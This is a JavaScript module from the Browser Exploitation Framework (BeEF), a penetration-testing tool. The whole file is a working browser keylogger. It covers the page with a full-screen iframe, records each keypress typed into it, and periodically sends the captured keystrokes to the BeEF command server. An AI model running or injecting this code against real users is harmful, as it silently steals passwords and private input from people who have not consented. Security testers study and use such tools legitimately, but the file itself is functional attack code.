62 lines
2.0 KiB
JavaScript
62 lines
2.0 KiB
JavaScript
//
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// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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// logged keystrokes array
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var stream = new Array();
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// add the pressed key to the keystroke stream array
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function keyPressHandler(evt) {
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evt = evt || window.event;
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if (evt) {
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var keyCode = evt.charCode || evt.keyCode;
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charLogged = String.fromCharCode(keyCode);
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stream.push(charLogged);
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}
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}
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// creates the overlay 100% width/height iFrame
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overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
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if(beef.browser.isIE()){
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// listen for keypress events on the iFrame
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function setKeypressHandler(windowOrFrame, keyHandler) {
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var doc = windowOrFrame.document;
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if (doc) {
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if (doc.attachEvent) {
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doc.attachEvent(
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'onkeypress',
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function () {
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keyHandler(windowOrFrame.event);
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}
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);
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}
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else {
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doc.onkeypress = keyHandler;
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}
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}
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}
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setKeypressHandler(window.frames.overlayiframe, keyPressHandler);
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}else{
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document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);
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}
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// every N seconds send the keystrokes back to BeEF
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setInterval(function queue() {
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var keystrokes = "";
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if (stream.length > 0) {
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for (var i = 0; i < stream.length; i++) {
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keystrokes += stream[i] + "";
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}
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "keystrokes=" + keystrokes);
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stream = new Array();
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}
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}, <%= @sendBackInterval %>)
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});
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